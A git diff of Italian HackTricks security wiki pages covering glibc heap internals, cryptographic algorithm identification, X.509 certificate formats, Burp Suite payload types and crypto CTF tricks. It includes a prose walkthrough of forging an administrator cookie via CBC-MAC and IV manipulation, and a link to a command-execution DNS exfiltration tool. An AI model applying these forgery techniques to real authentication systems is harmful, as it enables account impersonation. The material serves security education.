@ -74,7 +76,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
È importante notare che la **struttura `malloc_state` dell'arena principale** è una **variabile globale nella libc** (quindi si trova nello spazio di memoria della libc).\
Nel caso delle **strutture `malloc_state`** degli heap dei thread, esse si trovano **all'interno del "heap" del proprio thread**.
Ci sono alcune cose interessanti da notare da questa struttura (vedi il codice C qui sotto):
Ci sono alcune cose interessanti da notare su questa struttura (vedi il codice C qui sotto):
- `__libc_lock_define (, mutex);` È presente per garantire che questa struttura dell'heap sia accessibile da 1 thread alla volta
- Flags:
@ -88,11 +90,11 @@ Ci sono alcune cose interessanti da notare da questa struttura (vedi il codice C
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- Il `mchunkptr bins[NBINS * 2 - 2];` contiene **puntatori** ai **primi e ultimi chunk** dei **bins** piccoli, grandi e non ordinati (il -2 è perché l'indice 0 non è utilizzato)
- Pertanto, il **primo chunk** di questi bins avrà un **puntatore all'indietro a questa struttura** e l'**ultimo chunk** di questi bins avrà un **puntatore in avanti** a questa struttura. Questo significa fondamentalmente che se puoi **leakare questi indirizzi nell'arena principale** avrai un puntatore alla struttura nella **libc**.
- Il `mchunkptr bins[NBINS * 2 - 2];` contiene **puntatori** ai **primi e ultimi chunk** dei **bins** piccoli, grandi e non ordinati (il -2 è dovuto al fatto che l'indice 0 non è utilizzato)
- Pertanto, il **primo chunk** di questi bins avrà un **puntatore all'indietro a questa struttura** e l'**ultimo chunk** di questi bins avrà un **puntatore in avanti** a questa struttura. Il che significa fondamentalmente che se puoi **leakare questi indirizzi nell'arena principale** avrai un puntatore alla struttura nella **libc**.
- Le strutture `struct malloc_state *next;` e `struct malloc_state *next_free;` sono liste collegate di arene
- Il chunk `top` è l'ultimo "chunk", che è fondamentalmente **tutto lo spazio rimanente dell'heap**. Una volta che il chunk top è "vuoto", l'heap è completamente utilizzato e deve richiedere più spazio.
- Il chunk `last reminder` proviene da casi in cui un chunk di dimensione esatta non è disponibile e quindi un chunk più grande viene diviso, una parte del puntatore rimanente è collocata qui.
- Il chunk `last reminder` proviene da casi in cui un chunk di dimensione esatta non è disponibile e quindi un chunk più grande viene diviso, una parte del puntatore rimanente è posizionata qui.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -157,7 +159,7 @@ struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr;
```
Come commentato in precedenza, questi chunk hanno anche alcuni metadati, molto bene rappresentati in questa immagine:
Come commentato in precedenza, questi chunk hanno anche alcuni metadati, molto ben rappresentati in questa immagine:
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
@ -178,10 +180,10 @@ Inoltre, quando disponibile, i dati dell'utente vengono utilizzati per contenere
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
> [!NOTE]
> Nota come collegare la lista in questo modo previene la necessità di avere un array in cui ogni singolo chunk è registrato.
> [!TIP]
> Nota come collegare la lista in questo modo previene la necessità di avere un array dove ogni singolo chunk è registrato.
### Puntatori Chunk
### Puntatori ai Chunk
Quando viene utilizzato malloc, viene restituito un puntatore al contenuto che può essere scritto (subito dopo le intestazioni), tuttavia, quando si gestiscono i chunk, è necessario un puntatore all'inizio delle intestazioni (metadati).\
Per queste conversioni vengono utilizzate queste funzioni:
@ -261,7 +263,7 @@ return request2size (req);
```
Nota che per calcolare lo spazio totale necessario viene aggiunto `SIZE_SZ` solo 1 volta perché il campo `prev_size` può essere utilizzato per memorizzare dati, quindi è necessario solo l'intestazione iniziale.
### Ottieni dati del chunk e modifica i metadati
### Ottieni dati del chunk e altera i metadati
Queste funzioni funzionano ricevendo un puntatore a un chunk e sono utili per controllare/impostare i metadati:
@ -363,7 +365,7 @@ people extending or adapting this malloc.
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
- Ottieni la dimensione dei dati reali utilizzabili all'interno del chunk
- Ottieni la dimensione dei dati realmente utilizzabili all'interno del chunk
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
@ -394,9 +396,9 @@ return ptr;
```
## Esempi
### Esempio Veloce di Heap
### Esempio Rapido di Heap
Esempio veloce di heap da [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) ma in arm64:
Esempio rapido di heap da [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) ma in arm64:
```c
#include <stdio.h>
#include <stdlib.h>
@ -415,7 +417,7 @@ Imposta un breakpoint alla fine della funzione principale e scopriamo dove sono
È possibile vedere che la stringa panda è stata memorizzata a `0xaaaaaaac12a0` (che era l'indirizzo fornito come risposta da malloc all'interno di `x0`). Controllando 0x10 byte prima, è possibile vedere che il `0x0` rappresenta che il **chunk precedente non è utilizzato** (lunghezza 0) e che la lunghezza di questo chunk è `0x21`.
Gli spazi extra riservati (0x21-0x10=0x11) provengono dagli **header aggiunti** (0x10) e 0x1 non significa che è stato riservato 0x21B, ma gli ultimi 3 bit della lunghezza dell'attuale intestazione hanno alcuni significati speciali. Poiché la lunghezza è sempre allineata a 16 byte (in macchine a 64 bit), questi bit in realtà non verranno mai utilizzati dal numero di lunghezza.
Gli spazi extra riservati (0x21-0x10=0x11) derivano dagli **header aggiunti** (0x10) e 0x1 non significa che è stato riservato 0x21B, ma gli ultimi 3 bit della lunghezza dell'attuale header hanno alcuni significati speciali. Poiché la lunghezza è sempre allineata a 16 byte (in macchine a 64 bit), questi bit in realtà non verranno mai utilizzati dal numero di lunghezza.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
@ -477,7 +479,7 @@ Poi, dopo aver chiamato il primo thread, quello che chiama malloc, viene creata
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
e all'interno di essa si possono trovare alcuni chunk:
e al suo interno si possono trovare alcuni chunk:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -501,3 +503,6 @@ heap-memory-functions/heap-functions-security-checks.md
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
{{#include /banners/hacktricks-training.md}}

19
src/burp-suite.md
View File

@ -1,19 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
# Payloads di Base
- **Elenco Semplice:** Solo un elenco contenente un'entrata in ogni riga
- **File di Runtime:** Un elenco letto in runtime (non caricato in memoria). Per supportare elenchi grandi.
- **Modifica del Caso:** Applica alcune modifiche a un elenco di stringhe (Nessuna modifica, in minuscolo, in MAIUSCOLO, in Nome Proprio - Prima lettera maiuscola e il resto in minuscolo-, in Nome Proprio - Prima lettera maiuscola e il resto rimane lo stesso-).
- **Numeri:** Genera numeri da X a Y usando Z come passo o casualmente.
- **Brute Forcer:** Insieme di caratteri, lunghezza minima e massima.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload per eseguire comandi e catturare l'output tramite richieste DNS a burpcollab.
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
{{#include ./banners/hacktricks-training.md}}

26
src/crypto-and-stego/cryptographic-algorithms/README.md
View File

@ -1,12 +1,10 @@
# Algoritmi di Crittografia/Compressione
## Algoritmi di Crittografia/Compressione
{{#include ../../banners/hacktricks-training.md}}
## Identificazione degli Algoritmi
Se si termina in un codice **che utilizza shift a destra e a sinistra, xors e diverse operazioni aritmetiche** è altamente probabile che sia l'implementazione di un **algoritmo crittografico**. Qui verranno mostrati alcuni modi per **identificare l'algoritmo utilizzato senza dover invertire ogni passaggio**.
Se si termina in un codice **utilizzando shift a destra e a sinistra, xors e diverse operazioni aritmetiche** è altamente probabile che sia l'implementazione di un **algoritmo crittografico**. Qui verranno mostrati alcuni modi per **identificare l'algoritmo utilizzato senza dover invertire ogni passaggio**.
### Funzioni API
@ -24,7 +22,7 @@ Comprimi e decomprimi un dato buffer.
**CryptAcquireContext**
Dai [documenti](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): La funzione **CryptAcquireContext** è utilizzata per acquisire un handle a un particolare contenitore di chiavi all'interno di un particolare fornitore di servizi crittografici (CSP). **Questo handle restituito è utilizzato nelle chiamate alle funzioni CryptoAPI** che utilizzano il CSP selezionato.
Dalla [documentazione](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): La funzione **CryptAcquireContext** è utilizzata per acquisire un handle a un particolare contenitore di chiavi all'interno di un particolare fornitore di servizi crittografici (CSP). **Questo handle restituito è utilizzato nelle chiamate alle funzioni CryptoAPI** che utilizzano il CSP selezionato.
**CryptCreateHash**
@ -50,7 +48,7 @@ Puoi cercare qualsiasi altra costante e otterrai (probabilmente) lo stesso risul
### info sui dati
Se il codice non ha alcuna costante significativa, potrebbe essere **in caricamento di informazioni dalla sezione .data**.\
Se il codice non ha alcuna costante significativa, potrebbe essere **in caricamento informazioni dalla sezione .data**.\
Puoi accedere a quei dati, **raggruppare il primo dword** e cercarlo su Google come abbiamo fatto nella sezione precedente:
![](<../../images/image (531).png>)
@ -64,11 +62,11 @@ In questo caso, se cerchi **0xA56363C6** puoi scoprire che è correlato alle **t
È composto da 3 parti principali:
- **Fase di inizializzazione/**: Crea una **tabella di valori da 0x00 a 0xFF** (256 byte in totale, 0x100). Questa tabella è comunemente chiamata **Substitution Box** (o SBox).
- **Fase di mescolamento**: Eseguirà un **ciclo attraverso la tabella** creata prima (ciclo di 0x100 iterazioni, di nuovo) modificando ciascun valore con byte **semi-casuali**. Per creare questi byte semi-casuali, viene utilizzata la **chiave RC4**. Le **chiavi RC4** possono essere **tra 1 e 256 byte di lunghezza**, tuttavia di solito si raccomanda che siano superiori a 5 byte. Comunemente, le chiavi RC4 sono lunghe 16 byte.
- **Fase XOR**: Infine, il testo in chiaro o il testo cifrato è **XORato con i valori creati prima**. La funzione per crittografare e decrittografare è la stessa. Per questo, verrà eseguito un **ciclo attraverso i 256 byte creati** tante volte quanto necessario. Questo è solitamente riconosciuto in un codice decompilato con un **%256 (mod 256)**.
- **Fase di mescolamento**: Eseguirà un **loop attraverso la tabella** creata prima (loop di 0x100 iterazioni, di nuovo) modificando ciascun valore con byte **semi-casuali**. Per creare questi byte semi-casuali, viene utilizzata la **chiave RC4**. Le **chiavi RC4** possono essere **tra 1 e 256 byte di lunghezza**, tuttavia si raccomanda generalmente che siano superiori a 5 byte. Comunemente, le chiavi RC4 sono lunghe 16 byte.
- **Fase XOR**: Infine, il testo in chiaro o il testo cifrato è **XORato con i valori creati prima**. La funzione per crittografare e decrittografare è la stessa. Per questo, verrà eseguito un **loop attraverso i 256 byte creati** tante volte quanto necessario. Questo è solitamente riconosciuto in un codice decompilato con un **%256 (mod 256)**.
> [!NOTE]
> **Per identificare un RC4 in un codice disassemblato/decompilato puoi controllare 2 cicli di dimensione 0x100 (con l'uso di una chiave) e poi un XOR dei dati di input con i 256 valori creati prima nei 2 cicli probabilmente usando un %256 (mod 256)**
> [!TIP]
> **Per identificare un RC4 in un codice disassemblato/decompilato puoi controllare 2 loop di dimensione 0x100 (con l'uso di una chiave) e poi un XOR dei dati di input con i 256 valori creati prima nei 2 loop probabilmente usando un %256 (mod 256)**
### **Fase di Inizializzazione/Substitution Box:** (Nota il numero 256 usato come contatore e come uno 0 è scritto in ciascun posto dei 256 caratteri)
@ -104,7 +102,7 @@ In questo caso, se cerchi **0xA56363C6** puoi scoprire che è correlato alle **t
### Identificazione
Nell'immagine seguente nota come la costante **0x9E3779B9** è utilizzata (nota che questa costante è utilizzata anche da altri algoritmi crittografici come **TEA** -Tiny Encryption Algorithm).\
Nota anche la **dimensione del ciclo** (**132**) e il **numero di operazioni XOR** nelle **istruzioni di disassemblaggio** e nell'**esempio di codice**:
Nota anche la **dimensione del loop** (**132**) e il **numero di operazioni XOR** nelle **istruzioni di disassemblaggio** e nell'**esempio di codice**:
![](<../../images/image (547).png>)
@ -136,7 +134,7 @@ Pertanto, è possibile identificare questo algoritmo controllando il **numero ma
- 3 funzioni: Init, Update, Final
- Funzioni di inizializzazione simili
### Identificazione
### Identificare
**Init**
@ -155,9 +153,9 @@ Nota l'uso di più costanti
- Più piccolo e più efficiente poiché la sua funzione è trovare cambiamenti accidentali nei dati
- Usa tabelle di ricerca (quindi puoi identificare costanti)
### Identificazione
### Identificare
Controlla **costanti della tabella di ricerca**:
Controlla **le costanti della tabella di ricerca**:
![](<../../images/image (508).png>)
@ -172,7 +170,7 @@ Un algoritmo hash CRC appare come:
- Costanti non riconoscibili
- Puoi provare a scrivere l'algoritmo in python e cercare cose simili online
### Identificazione
### Identificare
Il grafico è piuttosto grande:

157
src/cryptography/certificates.md
View File

@ -1,157 +0,0 @@
# Certificati
{{#include ../banners/hacktricks-training.md}}
## Cos'è un Certificato
Un **certificato di chiave pubblica** è un ID digitale utilizzato nella crittografia per dimostrare che qualcuno possiede una chiave pubblica. Include i dettagli della chiave, l'identità del proprietario (il soggetto) e una firma digitale da un'autorità fidata (l'emittente). Se il software si fida dell'emittente e la firma è valida, è possibile una comunicazione sicura con il proprietario della chiave.
I certificati sono principalmente emessi da [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in un [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Un altro metodo è il [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), dove gli utenti verificano direttamente le chiavi degli altri. Il formato comune per i certificati è [X.509](https://en.wikipedia.org/wiki/X.509), che può essere adattato per esigenze specifiche come delineato in RFC 5280.
## Campi Comuni x509
### **Campi Comuni nei Certificati x509**
Nei certificati x509, diversi **campi** svolgono ruoli critici nel garantire la validità e la sicurezza del certificato. Ecco una suddivisione di questi campi:
- **Numero di Versione** indica la versione del formato x509.
- **Numero di Serie** identifica univocamente il certificato all'interno del sistema di un'Autorità di Certificazione (CA), principalmente per il tracciamento delle revoche.
- Il campo **Soggetto** rappresenta il proprietario del certificato, che potrebbe essere una macchina, un individuo o un'organizzazione. Include identificazione dettagliata come:
- **Nome Comune (CN)**: Domini coperti dal certificato.
- **Paese (C)**, **Località (L)**, **Stato o Provincia (ST, S, o P)**, **Organizzazione (O)** e **Unità Organizzativa (OU)** forniscono dettagli geografici e organizzativi.
- **Nome Distinto (DN)** racchiude l'intera identificazione del soggetto.
- **Emittente** dettaglia chi ha verificato e firmato il certificato, includendo sottocampi simili a quelli del Soggetto per la CA.
- Il **Periodo di Validità** è contrassegnato dai timestamp **Non Prima** e **Non Dopo**, assicurando che il certificato non venga utilizzato prima o dopo una certa data.
- La sezione **Chiave Pubblica**, cruciale per la sicurezza del certificato, specifica l'algoritmo, la dimensione e altri dettagli tecnici della chiave pubblica.
- Le **estensioni x509v3** migliorano la funzionalità del certificato, specificando **Utilizzo della Chiave**, **Utilizzo Esteso della Chiave**, **Nome Alternativo del Soggetto** e altre proprietà per affinare l'applicazione del certificato.
#### **Utilizzo della Chiave e Estensioni**
- **Utilizzo della Chiave** identifica le applicazioni crittografiche della chiave pubblica, come la firma digitale o la cifratura della chiave.
- **Utilizzo Esteso della Chiave** restringe ulteriormente i casi d'uso del certificato, ad esempio, per l'autenticazione del server TLS.
- **Nome Alternativo del Soggetto** e **Vincolo di Base** definiscono nomi host aggiuntivi coperti dal certificato e se si tratta di un certificato CA o di entità finali, rispettivamente.
- Identificatori come **Identificatore della Chiave del Soggetto** e **Identificatore della Chiave dell'Autorità** garantiscono l'unicità e la tracciabilità delle chiavi.
- **Accesso alle Informazioni dell'Autorità** e **Punti di Distribuzione CRL** forniscono percorsi per verificare la CA emittente e controllare lo stato di revoca del certificato.
- **SCTs Precertificate CT** offrono registri di trasparenza, cruciali per la fiducia pubblica nel certificato.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
issuer = certificate.issuer
subject = certificate.subject
public_key = certificate.public_key()
print(f"Serial Number: {serial_number}")
print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Differenza tra OCSP e Punti di Distribuzione CRL**
**OCSP** (**RFC 2560**) coinvolge un client e un risponditore che lavorano insieme per controllare se un certificato pubblico digitale è stato revocato, senza la necessità di scaricare l'intera **CRL**. Questo metodo è più efficiente rispetto alla tradizionale **CRL**, che fornisce un elenco di numeri di serie di certificati revocati ma richiede il download di un file potenzialmente grande. Le CRL possono includere fino a 512 voci. Maggiori dettagli sono disponibili [qui](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
### **Cos'è la Trasparenza dei Certificati**
La Trasparenza dei Certificati aiuta a combattere le minacce legate ai certificati garantendo che l'emissione e l'esistenza dei certificati SSL siano visibili ai proprietari di domini, CA e utenti. I suoi obiettivi sono:
- Prevenire che le CA emettano certificati SSL per un dominio senza la conoscenza del proprietario del dominio.
- Stabilire un sistema di auditing aperto per tracciare certificati emessi erroneamente o in modo malevolo.
- Proteggere gli utenti da certificati fraudolenti.
#### **Log dei Certificati**
I log dei certificati sono registri pubblicamente auditabili, solo in append, di certificati, mantenuti dai servizi di rete. Questi log forniscono prove crittografiche per scopi di auditing. Sia le autorità di emissione che il pubblico possono inviare certificati a questi log o interrogarli per verifica. Sebbene il numero esatto di server di log non sia fisso, si prevede che sia inferiore a mille a livello globale. Questi server possono essere gestiti in modo indipendente da CA, ISP o qualsiasi entità interessata.
#### **Query**
Per esplorare i log della Trasparenza dei Certificati per qualsiasi dominio, visita [https://crt.sh/](https://crt.sh).
Esistono diversi formati per memorizzare i certificati, ognuno con i propri casi d'uso e compatibilità. Questo riepilogo copre i formati principali e fornisce indicazioni sulla conversione tra di essi.
## **Formati**
### **Formato PEM**
- Formato più ampiamente utilizzato per i certificati.
- Richiede file separati per certificati e chiavi private, codificati in Base64 ASCII.
- Estensioni comuni: .cer, .crt, .pem, .key.
- Utilizzato principalmente da Apache e server simili.
### **Formato DER**
- Un formato binario di certificati.
- Mancano le dichiarazioni "BEGIN/END CERTIFICATE" presenti nei file PEM.
- Estensioni comuni: .cer, .der.
- Spesso utilizzato con piattaforme Java.
### **Formato P7B/PKCS#7**
- Memorizzato in Base64 ASCII, con estensioni .p7b o .p7c.
- Contiene solo certificati e certificati di catena, escludendo la chiave privata.
- Supportato da Microsoft Windows e Java Tomcat.
### **Formato PFX/P12/PKCS#12**
- Un formato binario che racchiude certificati server, certificati intermedi e chiavi private in un unico file.
- Estensioni: .pfx, .p12.
- Utilizzato principalmente su Windows per l'importazione e l'esportazione di certificati.
### **Conversione dei Formati**
**Le conversioni PEM** sono essenziali per la compatibilità:
- **x509 a PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM a DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER a PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM a P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7 a PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**Le conversioni PFX** sono fondamentali per la gestione dei certificati su Windows:
- **PFX a PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX a PKCS#8** comporta due passaggi:
1. Convertire PFX in PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Convertire PEM in PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B a PFX** richiede anche due comandi:
1. Convertire P7B in CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Convertire CER e chiave privata in PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
---
{{#include ../banners/hacktricks-training.md}}

55
src/cryptography/cipher-block-chaining-cbc-mac-priv.md
View File

@ -1,55 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
# CBC
Se il **cookie** è **solo** il **nome utente** (o la prima parte del cookie è il nome utente) e vuoi impersonare il nome utente "**admin**". Allora, puoi creare il nome utente **"bdmin"** e **bruteforce** il **primo byte** del cookie.
# CBC-MAC
**Cipher block chaining message authentication code** (**CBC-MAC**) è un metodo utilizzato nella crittografia. Funziona prendendo un messaggio e crittografandolo blocco per blocco, dove la crittografia di ogni blocco è collegata a quella precedente. Questo processo crea una **catena di blocchi**, assicurando che cambiare anche un solo bit del messaggio originale porterà a un cambiamento imprevedibile nell'ultimo blocco di dati crittografati. Per effettuare o invertire tale cambiamento, è necessaria la chiave di crittografia, garantendo la sicurezza.
Per calcolare il CBC-MAC del messaggio m, si crittografa m in modalità CBC con un vettore di inizializzazione zero e si conserva l'ultimo blocco. La figura seguente schizza il calcolo del CBC-MAC di un messaggio composto da blocchi![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) utilizzando una chiave segreta k e un cifrario a blocchi E:
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>)
# Vulnerabilità
Con CBC-MAC di solito il **IV utilizzato è 0**.\
Questo è un problema perché 2 messaggi noti (`m1` e `m2`) genereranno indipendentemente 2 firme (`s1` e `s2`). Quindi:
- `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2`
Poi un messaggio composto da m1 e m2 concatenati (m3) genererà 2 firme (s31 e s32):
- `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32`
**Il che è possibile calcolare senza conoscere la chiave della crittografia.**
Immagina di crittografare il nome **Administrator** in blocchi di **8byte**:
- `Administ`
- `rator\00\00\00`
Puoi creare un nome utente chiamato **Administ** (m1) e recuperare la firma (s1).\
Poi, puoi creare un nome utente chiamato il risultato di `rator\00\00\00 XOR s1`. Questo genererà `E(m2 XOR s1 XOR 0)` che è s32.\
Ora, puoi usare s32 come la firma del nome completo **Administrator**.
### Riepilogo
1. Ottieni la firma del nome utente **Administ** (m1) che è s1
2. Ottieni la firma del nome utente **rator\x00\x00\x00 XOR s1 XOR 0** che è s32**.**
3. Imposta il cookie su s32 e sarà un cookie valido per l'utente **Administrator**.
# Attacco Controllando IV
Se puoi controllare l'IV utilizzato, l'attacco potrebbe essere molto facile.\
Se i cookie sono solo il nome utente crittografato, per impersonare l'utente "**administrator**" puoi creare l'utente "**Administrator**" e otterrai il suo cookie.\
Ora, se puoi controllare l'IV, puoi cambiare il primo byte dell'IV in modo che **IV\[0] XOR "A" == IV'\[0] XOR "a"** e rigenerare il cookie per l'utente **Administrator.** Questo cookie sarà valido per **impersonare** l'utente **administrator** con l'**IV** iniziale.
## Riferimenti
Maggiore informazione in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}}

271
src/cryptography/crypto-ctfs-tricks.md
View File

@ -1,271 +0,0 @@
# Crypto CTFs Tricks
{{#include ../banners/hacktricks-training.md}}
## Online Hashes DBs
- _**Cercalo su Google**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net)
- [https://md5decrypt.net/](https://md5decrypt.net)
- [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
- [https://gpuhash.me/](https://gpuhash.me)
- [https://hashes.org/search.php](https://hashes.org/search.php)
- [https://www.cmd5.org/](https://www.cmd5.org)
- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
## Magic Autosolvers
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Modulo Magico)
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
## Encoders
La maggior parte dei dati codificati può essere decodificata con queste 2 risorse:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### Substitution Autosolvers
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
- [https://quipqiup.com/](https://quipqiup.com) - Molto buono!
#### Caesar - ROTx Autosolvers
- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
#### Atbash Cipher
- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
### Base Encodings Autosolver
Controlla tutte queste basi con: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_]
- `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_]
- `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_]
- `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- `2YiHqF5bf9FLSt6ac`
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_]
- `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_]
- `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_]
- `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- `frDg[*jNN!7&BQM`
- **Base100** \[]
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[]
- `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- `kLD8iwKsigSalLJ5`
